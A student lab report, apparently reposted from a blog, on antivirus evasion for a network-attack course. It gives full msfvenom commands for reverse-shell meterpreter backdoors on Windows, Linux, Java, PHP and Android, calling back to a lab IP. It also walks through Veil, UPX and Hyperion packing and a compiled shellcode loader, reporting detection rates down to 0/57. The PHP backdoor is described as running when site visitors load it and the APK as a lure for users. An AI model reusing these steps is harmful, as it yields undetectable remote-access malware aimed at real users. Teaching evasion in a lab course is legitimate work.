基础知识部分参考免杀原理与实践指导
启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
总体技术有:
改变特征码
改变行为
非常规方法
留后门的思路是这样的:
在实验二中已经生成了后门程序20175310_backdoor.exe
,msfvenom直接生成meterpreter可执行文件,检出率为58/71,即71个扫描引擎中有58中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
Step1:输入下面的代码,生成met-encoded.exe
文件,并对后门程序进行编码(编码一次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.187.132 LPORT=5310 -f exe > met-encoded.exe
文件生成截图:
将文件复制到Windows中,杀毒软件会提示该文件是木马文件:
用Virustotal识别该文件,检出率为54/70,比没有编码前降低了一点,但这样文件还是能被查出
Step2:输入下面的代码,生成met-encoded10.exe
文件,并对后门程序进行编码(编码十次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ -i 10 LHOST=192.168.187.132 LPORT=5310 -f exe > met-encoded.exe
文件生成截图:
将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,并删除。
手动恢复文件后,用Virustotal识别该文件,检出率为57/72,不降反升了,说明就算多编码几次免杀效果并不会提升,这个办法没用。
原因主要有两个:
操作方法与Windows后门类似,输入下面的代码生成木马文件。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_linux_backdoor
与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名
赋予可执行的权限。执行时使用./程序名
即可。
Linux下的后门在Virustotal中识别不出来:
Java程序在windows下和在linux下都可以生效执行。使用下面的代码生成木马文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_java_backdoor.jar
jar文件的检出率为35/61
使用下面的代码生成木马文件,把生成的php文件放到网站上面,当别人访问的时候就会执行。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_php_backdoor.php
php文件的检出率为3/59
使用下面的代码生成木马文件,此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_android_backdoor.apk
apk文件的检出率为25/60
输入sudo apt-get install veil
安装veil,一般都会报错,根据提示输入sudo apt-get update
进行更新,再输入sudo apt-get install veil
重新安装。
安装成功后,输入veil
,然后会弹出Python的安装界面。
点击next
之后页面卡住了,过了好久就报错了,如下图,它说找不到WINE
文件,提示运行/usr/share/veil/config/setup.sh --force --silent
这句命令。
这里下载文件什么的如果用WiFi会特别慢,可以尝试切换到手机热点,下载速度会快很多。
之后试了几次,还是会爆错,上网查了之后,说要卸载veil然后重新安装一遍就行了。
输入sudo apt-get purge veil
卸载veil,卸载成功后输入sudo apt-get install veil
重新安装。
此时输入veil
,弹出Python的安装界面,这时候点击next
就不卡了。接下来几个页面选择默认值就可以,无需修改,然后等待安装即可。
之后会弹出pywin32-220
和pycrypto-2.6.1
这两个安装界面,如下图,依旧默认值安装即可。
然后会弹出一个框,让你选择语言,这里选择英语。之后还会弹窗,需要安装Ruby
和Autolt
,都是比较简单的操作,这里就不放截图了。
在弹出上面这个框之前可能会遇到下图这个问题,简单来说就是connection broken
,即网络连接断开。
解决方法是将网络切换回WiFi,这里用手机热点运行不了,切换之后就可以正常运行了。
这些安装都完成之后,输入veil
之后再输入use evasion
就可以进入免杀平台了。到此,veil安装成功了。
Step1:输入use c/meterpreter/rev_tcp.py
进入配置界面
Step2:输入set LHOST 192.168.187.132
和set LPORT 5310
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step3:输入generate
生成文件,根据提示输入文件名:20175310_veil_backdoor
,然后就能看到文件的存放目录了。
Step4:把生成的文件放到Windows中,用Virustotal识别,检出率是44/71。
从技术上分壳分为:
输入upx 20175310_backdoor.exe -o 20175310_backdoor_upxed.exe
将文件复制到Windows后,杀毒软件立马查杀了该文件。
用Virustotal识别,检出率是55/70。
输入wine hyperion.exe -v 20175310_backdoor_upxed.exe 20175310_backdoor_upxed_Hyperion.exe
对文件加上加密壳。
用Virustotal识别,检出率是48/72。
Step1:使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 -f c
生成一段shellcode。
Step2:创建一个文件callshellcode.c
,然后将unsigned char buf[]
赋值到其中。
Step3:输入i686-w64-mingw32-g++ callshellcode.c -o 20175310.exe
,将此文件编译为可执行文件。
Step4:用Virustotal识别,检出率是42/72。
Step1:输入veil
之后再输入use evasion
进入免杀平台:
从上图可以看到输入list
可以查看可用的payloads,那么就输入list
查看一下:
可以看到序号7是老师在指导书中使用的payload,用的是C语言,这边我准备用一个不一样的payload,用的是Python。
Step2:输入use python/meterpreter/rev_tcp.py
进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
Step3:输入set LHOST 192.168.187.132
和set LPORT 5310
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step4:输入generate
生成文件,根据提示输入文件名:20175310_veil_backdoor
如果出现下图中的错误,输入sudo su
获取管理员权限,然后重复Step2~Step4的步骤。
Step5:生成文件时,系统会问如何创建负载可执行文件?
,我选的是2 Py2Exe
,然后就能看到文件的存放目录了。
Step6:将runme.bat文件复制到Windows中,并用Virustotal识别,检出率是0/57。
用virscan扫描,检出率为0/49。
在2.6中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能,甚至检出率为0。
在刚刚runme.bat文件的基础上加压缩壳和加密壳,来实现免杀。
Error: An encoding exception occurred.
意思是发生编码异常。
解决方法:自己研究了一下这条命令,里面用到了四个参数:
由于报的错是编码错误,那么相关的参数也就是-e
和-b
这两个。
分别删去这两个参数后运行,发现:
-e
参数,仍然报错,依旧是编码问题-b
参数,无报错,生成了exe文件,如下图那么就可以把问题锁定到-b
参数上。仔细对比之后发现是-b
参数后的‘\x00’
用的是中文引号,正确的应该是‘\x00‘
,所以系统才会提示编码有误。
解决方法:具体的问题和解决方法都在2.3.1中详细说明了。
/usr/share/veil-evasion/tools/hyperion
目录解决方法:参考这篇博客,具体操作如下:
apt-get install mingw-w64
unzip Hyperion-2.2.zip
CC =i686-w64-mingw32-gcc
make
用自己的语言描述的话,我认为可以分为以下两种:
免杀就是让本身能被杀毒软件发现的恶意代码,通过一些手段加工后,使得它不能被发现。
从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有两大类:
不能,从实验来看,如果通过一些方式改变了恶意代码中的特征码,那么恶意软件将不被杀毒软件发现,但这并不意味着该文件是安全的、没有病毒的。
本次实验操作性较强,不是很难,但是过程比较复杂。我在安装veil的时候遇到了很多问题,花了很久的时间才解决。后面做免杀操作的时候,也要结合之前几次实验的内容。通过实验,我也发现了开启杀软并不能完全防止电脑中恶意代码,因此不能完全依靠杀软来维护电脑的安全。
2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践
2019-2020-2 20175310奚晨妍《网络对抗技术》Exp3 免杀原理与实践
原文:https://www.cnblogs.com/xicyannn/p/12584521.html